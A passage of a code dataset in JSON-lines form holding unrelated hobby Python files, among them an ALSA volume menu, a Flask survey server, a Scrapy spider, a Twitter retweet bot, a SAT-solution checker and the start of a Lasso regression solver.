calc_volume(cur_vol=None):\n \"\"\" Calculate current volume.\n\n Round up or down to 5.\n\n Keyword arguments:\n cur_vol -- Current volume (Default: None)\n\n Return values:\n int\n \"\"\"\n mod = cur_vol % 5\n cur_vol -= mod\n\n if 3 <= mod <= 4:\n cur_vol = cur_vol + 5\n\n return cur_vol\n\n\ndef create_main_menu(parent):\n \"\"\" Create the main menu.\n\n Keyword arguments:\n parent -- Parent etree.Element\n \"\"\"\n mixers = (x for x in SUPPORTED_MIXERS if x in alsaaudio.mixers())\n builder.create_action(parent,\n 'Open audio mixer',\n '{} {}'.format(common.TERM_CMD, ALSAMIXER_CMD))\n builder.create_separator(parent, 'Mixer')\n\n for mixer in mixers:\n builder.create_pipe_menu(parent,\n 'pipe-alsa-{}-menu'.format(mixer.lower()),\n mixer,\n '{} {}'.format(sys.argv[0], mixer))\n\n\ndef create_mixer_menu(parent, control):\n \"\"\" Create a menu for controlling the volume.\n\n Keyword arguments:\n parent -- Parent etree.Element\n control -- Control wich will be affected\n \"\"\"\n mixer = alsaaudio.Mixer(control)\n cur_vol = calc_volume(mixer.getvolume()[0])\n\n if mixer.getmute()[0]:\n builder.create_action(parent,\n 'Unmute',\n '{} sset {} unmute'.format(AMIXER_CMD, control))\n else:\n builder.create_action(parent,\n 'Mute',\n '{} sset {} mute'.format(AMIXER_CMD, control))\n\n builder.create_separator(parent)\n\n for vol in range(0, 101, 5):\n if vol == cur_vol:\n builder.create_separator(parent, '{}%'.format(vol))\n else:\n builder.create_action(parent,\n '{}%'.format(vol),\n '{} sset {} {}%'.format(AMIXER_CMD, control, vol)) # noqa\n\n\ndef main(argv=None):\n \"\"\" Main function\n\n Keyword arguments:\n argv -- list containing commandline arguments.\n If None use current sys.argv. (default: None)\n\n Return value (int):\n int -- On Failure >= 1\n On Success == 0 (default)\n \"\"\"\n argv = argv or sys.argv[1:]\n\n # Parse argv\n parser = common.ArgumentParser('Generate an openbox pipe menu for volume control', # noqa\n '%(prog)s [OPTIONS]... MIXER')\n parser.add_argument('mixer',\n metavar='MIXER',\n nargs='?',\n default=None,\n help='mixer to control')\n\n args = parser.parse_args(argv)\n\n root = builder.create_root()\n\n if not args.mixer:\n create_main_menu(root)\n else:\n if args.mixer in SUPPORTED_MIXERS and args.mixer in alsaaudio.mixers():\n create_mixer_menu(root, args.mixer)\n\n # Print XML\n builder.output(root, args.debug)\n\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"obpm/scripts/alsa.py","file_name":"alsa.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"316378997","text":"#!/usr/bin/env python3\nimport src.core as core\nimport flask\n# from flask_cors import cross_origin\nimport src.utils.files as files\n\napp = flask.Flask(__name__)\napp.debug = True\n\n\n# placeholder landing page.\n@app.route('/')\ndef landing():\n return 'hello world!'\n\n\n# placeholder callback route.\n@app.route('/callback/', methods = ['GET','POST'])\n# @cross_origin()\ndef callback(survey):\n print('callback: ',survey)\n if flask.request.method == 'GET':\n return handle_spec_request(survey)\n else:\n data = flask.request.json\n print('data: ',data)\n core.save_responses(survey,data)\n return flask.jsonify({})\n\n\n# user survey access route...\n@app.route('/surveys/', methods = ['GET'])\ndef surveys(survey):\n print('survey-request: ',survey) \n return survey_app(survey,'form')\n\n\n# building kiosk access route...\n@app.route('/kiosks/',methods=['GET'])\ndef kiosks(survey):\n return survey_app(survey,'kiosk')\n\n\n# survey app constructor.\ndef survey_app(survey,mode):\n # survey mode integer mapping.\n codes = {'kiosk' : 1, 'form' : 0}\n # application callback address.\n server = '/callback/{}'.format(survey)\n # config dict to be passed as flags to the elm-app.\n config = {'srvr': server, 'tick': 20, 'mode': codes.get(mode,1)}\n # return rendered template w/ config dict inserted.\n return flask.render_template('survey.html',config=config)\n\n\n# handler for survey spec requests from apps.\ndef handle_spec_request(survey):\n # if survey exists, load & return its spec.\n if core.survey_exists(survey):\n spec = core.load_survey(survey)\n return flask.jsonify(spec)\n # if survey did not exist, send back `400`.\n else:\n print('cannot find survey: ',survey)\n return flask.Response(status=400)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"430732821","text":"def facts_from_vobj(self, vobj, level=0):\n ' Traverse a VM object and return a json compliant data structure '\n if (level == 0):\n try:\n self.debugl(('# get facts: %s' % vobj.name))\n except Exception as e:\n self.debugl(e)\n rdata = {\n \n }\n methods = dir(vobj)\n methods = [str(x) for x in methods if (not x.startswith('_'))]\n methods = [x for x in methods if (not (x in self.bad_types))]\n methods = sorted(methods)\n for method in methods:\n try:\n methodToCall = getattr(vobj, method)\n except Exception as e:\n continue\n if callable(methodToCall):\n continue\n if self.lowerkeys:\n method = method.lower()\n rdata[method] = self._process_object_types(methodToCall)\n return rdata","sub_path":"Data Set/bug-fixing-5/a0a2e1509e828df867d197dd441696ca82e6bfe5--fix.py","file_name":"a0a2e1509e828df867d197dd441696ca82e6bfe5--fix.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"227355708","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nimport re\nimport time\nfrom hotelInfo.items import HotelinfoItem\n\nclass TestSpider(scrapy.Spider):\n name = 'test'\n allowed_domains = ['www.tour.ne.jp/j_hotel']\n # start_urls = ['https://www.tour.ne.jp/j_hotel/parts_hotel_list/?_=1551213075957&dsp_sort=1&pg=2&dist1=1&real=&dsp_group=1&rank=3&api_model=0&encode_f=utf-8']\n\n\n \n def __init__(self, *args, **kwargs):\n\n super(TestSpider, self).__init__(*args, **kwargs)\n for i in range(10) : \n self.start_urls.append(\n 'https://www.tour.ne.jp/j_hotel/parts_hotel_list/?_={}&dsp_sort=1&dist1={}&real=&dsp_group=1&rank=3&api_model=0&encode_f=utf-8'.format(time.time()*1000.0,i+1)\n )\n\n def start_requests(self):\n count = 0\n for url in self.start_urls:\n count += 1\n yield scrapy.Request(\n url,\n callback=self.parse,\n errback=self.err_callback,\n meta={'region_id':count}\n )\n\n def parse(self, response):\n region_id = response.meta['region_id']\n if region_id == 1:\n region = \"北海道\"\n if region_id == 2:\n region = '東北'\n if region_id ==3:\n region = '関東'\n if region_id == 4:\n region = '北陸'\n if region_id == 5:\n region = '中部・東海'\n if region_id == 6:\n region = '近畿'\n if region_id == 7:\n region = '中国'\n if region_id == 8:\n region = '四国'\n if region_id == 9:\n region = '九州'\n else: \n region = '沖縄'\n\n item = HotelinfoItem()\n item['hotel_name'] = ''\n item['region'] = region\n item['prefecture'] = ''\n item['city'] = ''\n item['address'] = ''\n item['geocoordinates'] = ''\n item['reviews'] = ''\n print('========================')\n print(region)\n yield item\n\n def err_callback(self, failure):\n if failure.check(TimeoutError, TCPTimedOutError):\n request = failure.request\n if os.path.exists('hotelinfo_error.csv'):\n error_log = open('hotelinfo_error.csv', 'a', newline='')\n writer = csv.DictWriter(\n error_log,\n fieldnames=['url']\n )\n else:\n error_log = open('hotelinfo_erssror.csv', 'w', newline='')\n writer = csv.DictWriter(\n error_log,\n fieldnames=['url']\n )\n writer.writeheader()\n self.logger.error('TimeoutError on %s', request.meta['download_latency'])\n writer.writerow({\n 'url': request.url\n })","sub_path":"hotelInfo/hotelInfo/spiders/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"593192982","text":"# Bot initialization\n\n\nfrom datetime import datetime, timedelta\n\nimport tweepy\n\nfrom authentication import api\nimport mlb_prospect_bot.preprocessor as preprocessor\nimport mlb_prospect_bot.scraper as scraper\n\n\nclass ProspectBot(object):\n\n # Once a player's call up has been retweeted, he will be added to this list to reduce spam from multiple twitter\n # users tweeting the same thing.\n _filtered_players = []\n\n # Due to the nature of the regex object in the preprocessor, we have to use a list for >1 word 'promotion' synonyms.\n _promotion_key_words = [['call', 'up'], \n ['called', 'up'],\n ['calling', 'up'],\n 'recall',\n 'recalled',\n 'recalling',\n 'promote',\n 'promoted',\n 'promoting']\n\n\n def __init__(self):\n \"\"\"Initialize the bot.\n \"\"\"\n self._prospect_list = scraper.get_prospects()\n\n\n def _add_player_to_filter_list(self, prospect_fn, prospect_ln):\n \"\"\"Adds a player to the filter list for a time period if his call up news has been retweeted already.\n It's timed so that it can compensate for possible demotions and re-call-ups.\n \"\"\"\n time_added = datetime.today()\n\n self._filtered_players.append([prospect_fn, prospect_ln, time_added])\n\n\n def _remove_players_from_filter_list(self):\n \"\"\"Removes players from the filter list once a certain amount of time has passed since their retweet.\n \"\"\"\n players_to_remove = []\n\n for player in self._filtered_players:\n # Need to use reference timedelta object for time difference comparison.\n if datetime.today() - player[2] >= timedelta(days=2):\n players_to_remove.append(player)\n\n for player in players_to_remove:\n self._filtered_players.remove(player)\n\n\n def _is_timed_out(self, prospect_fn, prospect_ln):\n \"\"\"Checks if the call up news for a player from the prospect watch list has already been retweeted.\n \"\"\"\n for player in self._filtered_players:\n if prospect_fn in player and prospect_ln in player:\n return True\n\n return False\n\n\n def trigger_retweet(self, tweet):\n \"\"\"Triggers the bot to retweet a tweet if it contains prospect promotion/demotion news.\n Otherwise, it just returns False to pass the tweet.\n \"\"\"\n tokenized_tweet = preprocessor.preprocess(tweet)\n\n self._remove_players_from_filter_list()\n\n for player in self._prospect_list:\n if player[0] in tokenized_tweet and player[1] in tokenized_tweet:\n if not self._is_timed_out(player[0], player[1]):\n for promotion_key_word in self._promotion_key_words:\n # Gotta compensate for mixed types in _promotion_key_words.\n if type(promotion_key_word) == type([]):\n if promotion_key_word[0] in tokenized_tweet and promotion_key_word[1] in tokenized_tweet:\n self._add_player_to_filter_list(player[0], player[1])\n return True\n else:\n if promotion_key_word in tokenized_tweet:\n self._add_player_to_filter_list(player[0], player[1])\n return True\n\n return False\n\n\nclass ProspectStreamListener(tweepy.StreamListener):\n\n # This looks pretty meta\n _Prospect_Bot = ProspectBot()\n\n\n def on_status(self, status):\n \"\"\"Prints and retweets tweet text as they stream through the Bot's feed.\n \"\"\"\n # For debugging purposes\n print(status.id)\n print(status.text)\n print(status._json['retweeted'])\n print(self._Prospect_Bot._filtered_players)\n print()\n\n if not status._json['retweeted']:\n if self._Prospect_Bot.trigger_retweet(status.text):\n api.retweet(status.id)\n print('Retweeted.\\n')\n else:\n print('Previously retweeted.\\n') \n\n\n def on_error(self, status_code):\n \"\"\"Disconnects the stream if 420 errors are caught.\n \"\"\"\n print(status_code)\n\n if status_code == 420:\n return False\n","sub_path":"mlb_prospect_bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"256343900","text":"import os\nimport re\nimport xlwt\n\n# 递归查找指定文件类型的文件\ndef find_files(root, extensions):\n for subdir, dirs, files in os.walk(root):\n for file in files:\n ext = os.path.splitext(file)[-1].lower()\n if ext in extensions:\n yield os.path.join(subdir, file)\n\n# 在文件中查找指定字符串\ndef search_file(file_path, search_str):\n with open(file_path, \"r\", encoding=\"utf-8\") as file:\n for i, line in enumerate(file):\n if re.search(search_str, line):\n return i+1 # 返回行数\n return -1 # 没有找到\n\n# 获取文件名\ndef get_file_name(file_path):\n return os.path.basename(file_path)\n\n# 获取文件路径去掉SourceTree之前的内容\ndef get_file_path(file_path):\n index = file_path.find(\"SourceTree\")\n if index >= 0:\n return file_path[index+len(\"SourceTree\")+1:]\n return file_path\n\n# 生成Excel文件\ndef generate_excel(results):\n workbook = xlwt.Workbook(encoding=\"utf-8\")\n sheet = workbook.add_sheet(\"Result\")\n\n # 写入表头\n sheet.write(0, 0, \"ID\")\n sheet.write(0, 1, \"Type\")\n sheet.write(0, 2, \"File Name\")\n sheet.write(0, 3, \"File Path\")\n sheet.write(0, 4, \"Danny\")\n sheet.write(0, 5, \"Search String\")\n\n # 写入数据\n for i, result in enumerate(results):\n\n sheet.write(i+1, 1, \"CSMS\" if result[\"Type\"] in [\".jsp\", \".java\"] else \"CIS\")\n sheet.write(i+1, 2, result[\"File Name\"])\n sheet.write(i+1, 3, result[\"File Path\"])\n sheet.write(i+1, 4, \"Danny\")\n sheet.write(i+1, 5, result[\"Search String\"])\n\n workbook.save(\"result.xls\")\n\n# 搜索指定字符串并输出结果到Excel表格\ndef search_and_output(paths, extensions, search_strs):\n results = []\n file_names = set() # 用于去重\n\n for search_str in search_strs:\n # 按照文件类型排序\n result = {\n \"Type\": \"\",\n \"File Name\": \"\",\n \"File Path\": \"\",\n \"Search String\": search_str\n }\n results.append(result)\n for path in paths:\n for file_path in find_files(path, extensions):\n file_name = get_file_name(file_path)\n if (search_str,file_name,path) in file_names: # 如果已经处理过该文件,则跳过\n continue\n file_names.add(file_name)\n line_num = search_file(file_path, search_str)\n if line_num >= 0:\n result = {\n \"Type\": os.path.splitext(file_path)[-1],\n \"File Name\": file_name,\n \"File Path\": get_file_path(file_path),\n \"Search String\": search_str\n }\n results.append(result)\n\n\n # 生成Excel文件\n workbook = xlwt.Workbook(encoding=\"utf-8\")\n sheet = workbook.add_sheet(\"Result\")\n # 写入表头\n sheet.write(0, 0, \"ID\")\n sheet.write(0, 1, \"Type\")\n sheet.write(0, 2, \"File Name\")\n sheet.write(0, 3, \"File Path\")\n sheet.write(0, 4, \"Danny\")\n sheet.write(0, 5, \"Search String\")\n # 写入数据\n for i, result1 in enumerate(results):\n if (len(result1[\"File Name\"])==0 and len(result1[\"File Path\"])==0):\n sheet.write_merge(i + 1, i + 1, 0, 5, result[\"Search String\"])\n continue\n sheet.write(i + 1, 0, i + 1)\n sheet.write(i + 1, 1, \"CSMS\" if result1[\"Type\"] in [\".jsp\", \".java\"] else \"CIS\")\n sheet.write(i + 1, 2, result1[\"File Name\"])\n sheet.write(i + 1, 3, result1[\"File Path\"])\n sheet.write(i + 1, 4, \"Danny\")\n sheet.write(i + 1, 5, result1[\"Search String\"])\n\n workbook.save(\"result.xls\")\n\n# 测试代码\n\n\nif __name__ == \"__main__\":\n paths = [\"E:/test/SourceTree/cca\", \"E:/test/SourceTree/fd\"]\n extensions = [\".java\", \".sql\", \".jsp\", \".PLSQL\"]\n # 定义要查找的字符串\n search_strs = [\"PRD_18661\", \"PRD_18568\"]\n\n search_and_output(paths, extensions,search_strs)\n","sub_path":"new2.py","file_name":"new2.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"122294675","text":"import re\nfrom operator import itemgetter\nimport matplotlib.pyplot as plt\nfrom scipy import special\nimport numpy as np\nimport os\nimport sys\nimport bs4 as bs\nimport nltk\n\nglobal_dir = 'D:\\\\KGP\\\\'\n\ndef removeNonAscii(text):\n out = ''\n for c in text:\n if ord(c) in range(128):\n out += c\n return out\n\ndef stripper(word, strip_list):\n for item in strip_list:\n word = word.strip(item)\n return word\n\n#strip_list = ['.',',']\n\nfrequency = {}\nbad_files = []\n\nfor index in range(1,10):\n directory = global_dir + \"man\" + str(index) + \"\\\\\"\n all_files = os.listdir(directory)\n n = 0\n for file in all_files:\n with open(directory + file, 'rb') as sauce:\n try:\n soup = bs.BeautifulSoup(sauce, 'lxml')\n #words = [stripper(each) for each in re.findall(r'(\\b[^\\b]{2,9}\\b)', soup.get_text())]\n words = nltk.word_tokenize(soup.get_text())\n for word in words:\n count = frequency.get(word,0)\n frequency[word] = count + 1\n n += 1\n sys.stdout.flush()\n sys.stdout.write(\"Index : %d Progress: %d / %d / %d \\r\" % (index, n, len(all_files), len(bad_files)) )\n except:\n bad_files.append(directory + file)\n\nimport csv\nbad_words = []\nwith open(global_dir + 'word_freq.txt','w') as csv_file:\n fieldnames = ['word','freq']\n csv_writer = csv.DictWriter(csv_file, fieldnames = fieldnames, delimiter = '\\t')\n csv_writer.writeheader()\n\n for word in frequency:\n try:\n new_dict = {'word': word, 'freq' : frequency[word]}\n csv_writer.writerow(new_dict)\n except:\n bad_words.append(word)\n\nfrequency = {}\nimport csv\nwith open(global_dir + 'word_freq.txt','r') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter = '\\t')\n for word in csv_reader:\n frequency[word['word']] = word['freq']\n\nfor key, value in frequency.items():\n frequency[key] = int(value)\n\nimport collections\nsorted_frequency = sorted(frequency.items(), key=lambda kv: kv[1], reverse=True)\nsorted_frequency\n\nsorted_frequency_dict = {}\n\nfor each in sorted_frequency:\n sorted_frequency_dict[each[0]] = each[1]\n\ns = [sorted_frequency_dict[each] for each in sorted_frequency_dict]\n\n# Take only the words from index lim1 to index lim2 in the sorted frequency dict as the zipf words\n\nlim1 = 1000\nlim2 = 30000\nprint(s[lim1])\nprint(s[lim2])\nplt.plot(range(len(s))[lim1:lim2], s[lim1:lim2])\nplt.show()\n\nzip_list = list(sorted_frequency_dict.items())[lim1:lim2]\n\nzip_words = [each[0] for each in zip_list]\n\nwith open(global_dir + 'zip_words.txt','w', newline='') as csv_file:\n csv_writer = csv.writer(csv_file)\n\n for word in zip_words:\n csv_writer.writerow([word])\n\n\n\n","sub_path":"zipf's law.py","file_name":"zipf's law.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"407302109","text":"import unittest\nfrom GHAnalysis import Data\nfrom GHAnalysis import Run\n\nclass Test( unittest.TestCase):\n#D:\\学习\\软工实践\\2020-personal-python\n def test_init(self):\n data = Data('D:\\学习\\软工实践\\2020-personal-python',1)\n #若初始化成功 则为Ture \n self.assertTrue(data)\n \n def test_getEventsUsers(self):\n data = Data()\n result = data.getEventsUsers('hl1123','PushEvent')\n #若成功 则返回0\n self.assertEqual(result,0)\n \n def test_getEventsRepos(self):\n data = Data()\n result = data.getEventsRepos('hl1123/6','PushEvent')\n #若成功 则返回0\n self.assertEqual(result,0)\n \n def test_getEventsUsersAndRepos(self):\n data = Data()\n result = data.getEventsUsersAndRepos('hl1123','hl1123/6','PushEvent')\n #若成功 则返回0\n self.assertEqual(result,0) \n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"GHAnalysis_test.py","file_name":"GHAnalysis_test.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400653367","text":"import pandas as pd\nimport os\n\ndata = pd.read_csv('label.csv', header=None)\ndata.columns = ['image', 'category', 'label']\ncategory = ['skirt_length_labels', 'coat_length_labels', 'collar_design_labels', 'lapel_design_labels', \\\n 'neck_design_labels', 'neckline_design_labels', 'pant_length_labels','sleeve_length_labels']\n\nfor label in category:\n TemData = data[data.category == label]\n IndexList = TemData.index\n label_length = len(TemData['label'].iloc[0])\n TemData.drop('category',axis=1, inplace=True)\n for pos in IndexList:\n TemData.at[pos,'label'] = TemData.at[pos,'label'].index('y') # transform string into int\n TemData.at[pos,'image'] = TemData.at[pos,'image'].split('/')[-1] # get the last directory of the image (the name of file)\n TemData = TemData.reindex(columns = ['label','image']) # change the position of two columns\n Most_length = 0\n label_length_list = [] # record the number of image of every label\n \n print('category: ' + label + '\\tlabel_length:' + str(label_length))\n # find the most images\n for i in range(0, label_length):\n label_length_list.append(len(TemData[TemData.label == i]))\n print('label: ' + str(i) + '\\t' + str(len(TemData[TemData.label == i])))\n Most_length = len(TemData[TemData.label == i]) if (len(TemData[TemData.label == i]) > Most_length ) else Most_length\n count = 0\n if not os.path.exists(\"./\" + label):\n os.mkdir(\"./\"+ label)\n f_t=open(label + '/' + label + '_train.lst', \"w\")\n f_v=open(label + '/' + label + '_val.lst', \"w\")\n train_len = int(0.9 * Most_length)\n for i in range(0, Most_length):\n for j in range(0, label_length):\n if(label_length_list[j] == 0):\n continue\n count += 1\n temd = TemData[TemData.label == j]\n str_out = str(count) + '\\t' + str(temd['label'].iloc[i % label_length_list[j]]) + '\\t' + temd['image'].iloc[i % label_length_list[j]]\n if(i < train_len):\n if(i != train_len-1 or j != label_length-1):\n str_out += '\\n'\n f_t.write(str_out)\n else:\n if(i != Most_length-1 or j != label_length-1):\n str_out += '\\n'\n f_v.write(str_out)\n\n\n f_t.close()\n f_v.close()\n\n ","sub_path":"Annotations/get_label _all.py","file_name":"get_label _all.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"389253834","text":"import gi\ngi.require_version(\"Gtk\", \"3.0\")\ngi.require_version('WebKit', '3.0')\nfrom gi.repository import Gtk, Gdk, WebKit\nimport threading\nfrom time import sleep\n\n\nclass ChatWindow(Gtk.ScrolledWindow):\n def __init__(self):\n page_size = Gtk.Adjustment(lower=10, page_size=100)\n super(ChatWindow, self).__init__(page_size)\n self.set_border_width(10)\n self.set_hexpand(True)\n self.listbox = Gtk.ListBox()\n self.add(self.listbox)\n\n def send_msg(self, msg):\n lbr = Gtk.ListBoxRow()\n box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n lbr.add(box)\n self.listbox.add(lbr)\n\n name = Gtk.Label()\n name.set_markup(\"Me:\")\n name.set_justify(Gtk.Justification.RIGHT)\n name.set_halign(Gtk.Align.END)\n msg_label = Gtk.Label(msg)\n msg_label.set_justify(Gtk.Justification.RIGHT)\n msg_label.set_halign(Gtk.Align.END)\n box.add(name)\n box.add(msg_label)\n box.show_all()\n lbr.show_all()\n\n def receive_msg(self, who, msg):\n lbr = Gtk.ListBoxRow()\n box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n lbr.add(box)\n self.listbox.add(lbr)\n\n name = Gtk.Label()\n name.set_markup(\"{0}:\".format(who))\n name.set_justify(Gtk.Justification.LEFT)\n name.set_halign(Gtk.Align.START)\n msg_label = Gtk.Label(msg)\n msg_label.set_justify(Gtk.Justification.LEFT)\n msg_label.set_halign(Gtk.Align.START)\n box.add(name)\n box.add(msg_label)\n box.show_all()\n lbr.show_all()\n\n\nclass chatter(threading.Thread):\n def __init__(self, chatpage):\n threading.Thread.__init__(self)\n self.running = True\n self.chatpage = chatpage\n\n def run(self):\n n = 0\n while self.running:\n self.chatpage.send_msg(\"test\")\n sleep(0.5)\n self.chatpage.receive_msg(\"Tester\", \"test {0}\".format(n))\n sleep(0.5)\n n += 1\n\nif __name__ == '__main__':\n window = Gtk.Window()\n window.connect(\"delete-event\", Gtk.main_quit)\n\n notebook = Gtk.Notebook()\n window.add(notebook)\n\n chatwindow = ChatWindow()\n notebook.append_page(chatwindow, Gtk.Label(\"GoogleA chat\"))\n\n window.show_all()\n\n testthread = chatter(chatwindow)\n testthread.start()\n\n Gtk.main()\n\n","sub_path":"ChatWindow.py","file_name":"ChatWindow.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"492175719","text":"#!/usr/bin/env python3\n\nimport sys\n\nclauses = []\nwith open(sys.argv[1]) as clsFile:\n for line in clsFile:\n line = line.strip()\n if not line.startswith('['):\n continue\n line = line.replace('[',' ')\n line = line.replace(']',' ')\n line = line.replace(',',' ')\n line = line.split()\n clause = [ int(lit) for lit in line ]\n clauses.append(clause)\n\nassignments = {}\nwith open(sys.argv[2]) as assignmentsFile:\n for line in assignmentsFile:\n if 'assignment' not in line:\n continue\n (unused,var,tval) = line.strip().split()\n var = int(var)\n if var < 0:\n print(\"You must have printed a lit instead of a variable\", var,tval)\n sys.exit(-1)\n if var in assignments:\n print(\"double assignment for var:\", var)\n break\n assignments[var] = int(tval)\n\nfor clause in clauses:\n clauseIsSat = False\n for lit in clause:\n var = lit if lit > 0 else -lit # var = abs(lit) may be better :-)\n if var not in assignments: # simply not assigned a value\n continue\n tval = assignments[var]\n if lit < 0: # need to reverse the tval\n tval = 0 if tval else 1\n if tval:\n clauseIsSat = True\n break\n if not clauseIsSat:\n print(\"OOPS; false clause:\", clause)\n sys.exit(-1)\nprint(\"ALL CLAUSES ARE TRUE\")\n","sub_path":"p4/p4_chksat.py","file_name":"p4_chksat.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"499681498","text":"import jwt\nSECRET_KEY='thisismysecretkey'\ndef auth(req,auth_type):\n token=req.headers.get('Authorization')\n if token==None:\n return False\n try:\n payload = jwt.decode(token,SECRET_KEY,algorithms=['HS256'] )\n except:\n return False\n if payload['user_type']== auth_type:\n return True\n\n","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"380494973","text":"#!/usr/bin/python3.5\nimport sys\nfrom enum import Enum\nimport time\n\n# Here I'm trying to play with daylight time\n# \n# 1. I want to understand whether daylight has equal decrease / increase value \n# \t from day to day between equinoxes / solstices throughout the year or not.\n# \n# 2. Do we have same (similar) scenario for the question above for different latitudes \n# \t (also to show how different are daylight times for different latitudes)\n#\n# Currently data are taken from here (links are general and an example for Seattle WA, USA):\n# https://aa.usno.navy.mil/data/docs/RS_OneYear.php\n# \thttp://aa.usno.navy.mil/cgi-bin/aa_rstablew.pl?ID=AA&year=2018&task=0&state=WA&place=Seattlei\n\nmonths = Enum('Month', 'Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec')\n\n\ndef days_in_month(month):\n if month == months.Feb:\n return 28\n elif month in [months.Jan, month.Mar, month.May, month.Jul, month.Aug, month.Oct, month.Dec]:\n return 31\n else:\n return 30\n\n\ndef each_month_day_rise_and_set(encoded_line):\n day_size = 2\n next_space_size = 2\n rise_and_set_time_size = 9\n\n month_in_year = len(months)\n encoded_line = encoded_line[day_size:] # take out day number\n rise_and_set_for_days = []\n\n for month_index in range(0, month_in_year):\n encoded_line = encoded_line[next_space_size:]\n rise_set_times = encoded_line[:rise_and_set_time_size]\n encoded_line = encoded_line[rise_and_set_time_size:]\n rise_and_set_for_days.append(rise_set_times.strip())\n\n return rise_and_set_for_days\n\ndef calculate_daylight_time_in_hours(sunrise_time, sunset_time):\n\t#times are encoded like '%H%M' e.g. 0813 or 1952\n\ttime_pattern = '%H%M'\n\treturn (time.mktime(time.strptime(sunset_time, time_pattern)) - time.mktime(time.strptime(sunrise_time, time_pattern))) / (60 * 60)\n\ndef calculate_daylight_times_in_hours(month_rise_and_set):\n\tresult = []\n\tfor day_rise_and_set in month_rise_and_set:\n\t\tsunrise_time, sunset_time = day_rise_and_set.split(\" \")\n\t\tresult.append(calculate_daylight_time_in_hours(sunrise_time, sunset_time))\n\treturn result\n\ndef calendar_lines(filename):\n linecounter = 0\n body_started = False\n calendar = []\n header_size = 6\n calendar_lines = 4 + header_size + 31\n \n with open(filename) as f:\n for line in f:\n if (not body_started) and ('
' in line):\n                body_started = True\n            if body_started:\n                linecounter += 1\n                if linecounter > header_size and linecounter < calendar_lines:\n                    calendar.append(line)\n    \n    # skip first three lines: month names line, rise-set line and h-m line\n    return calendar[3:]\n\nif __name__ == \"__main__\":\n\n    #input_filename = \"seattle.dat\"  # sys.argv[1]\n    input_filename = sys.argv[1]\n    day_lines = []\n    calendar = {month: [None] * days_in_month(month) for month in months}\n\n    day_lines = calendar_lines(input_filename)\n    \n    day_number = 0\n    for day_line in day_lines:\n        months_day_rise_and_set = each_month_day_rise_and_set(day_line)\n        for month in months:\n            if months_day_rise_and_set[month.value - 1]:\n                calendar[month][day_number] = months_day_rise_and_set[month.value - 1]\n        day_number += 1\n\n    for month in months:\n    \tprint(str(month) + \": \")\n    \tprint(\"=\"*80)\n    \tprint(len(calendar[month]), calendar[month])\n    \tprint(\"=\"*80)\n    \tdaylights = calculate_daylight_times_in_hours(calendar[month])\n    \tprint(daylights)\n    \tprint(\"=\"*80)\n    \tdaylight_delta_vector = [abs(j-i) for i, j in zip(daylights[:-1], daylights[1:])]\n    \tprint(daylight_delta_vector)\n    \tprint(\"=\"*80)\n    \tprint(\"Average Delta: \" + str(sum(daylight_delta_vector) / len(daylight_delta_vector)))\n    \tprint(\"=\"*80)\n    \t\n    #print(days_in_month(months.Apr))\n    #print(len(calendar[months.Jun]), calendar[months.Jun])\n    #print(calculate_daylight_times_in_hours(calendar[months.Feb]))\n","sub_path":"riseandset.py","file_name":"riseandset.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}
+{"seq_id":"122024144","text":"# -*- coding: utf-8 -*-\n\"\"\"\nlasso_regression.py - Lasso-Regression solvers module\n=====================================================\n\nThis module contains all available Lasso-Regression solvers.\nThese solvers can be received by using the only public method :func:`get_method`.\n\nExample:\n    get_method(LassoRegressionMethods.SkLearnLassoRegression) - Creating the Scikit-Learn solver for Lasso-Regression.\n\n\"\"\"\n\nfrom sklearn.linear_model import LassoCV\nfrom Infrastructure.enums import LassoRegressionMethods\nfrom Infrastructure.utils import ex, create_factory, Dict, ColumnVector, Matrix, Callable\nfrom ComparedAlgorithms.method_boosters import caratheodory_booster\nfrom ComparedAlgorithms.base_least_square_solver import BaseSolver\n\n\nclass _SkLearnLassoSolver(BaseSolver):\n    @ex.capture\n    def __init__(self, data_features: Matrix, output_samples: ColumnVector, n_alphas: int,\n                 cross_validation_folds: int, _rnd):\n        \"\"\"\n        The standard solver of Scikit-Learn for Lasso-Regression.\n\n        Args:\n            data_features(Matrix): The input data matrix ``nxd``.\n            output_samples(ColumnVector): The output for the given inputs, ``nx1``.\n            n_alphas(int): The number of total 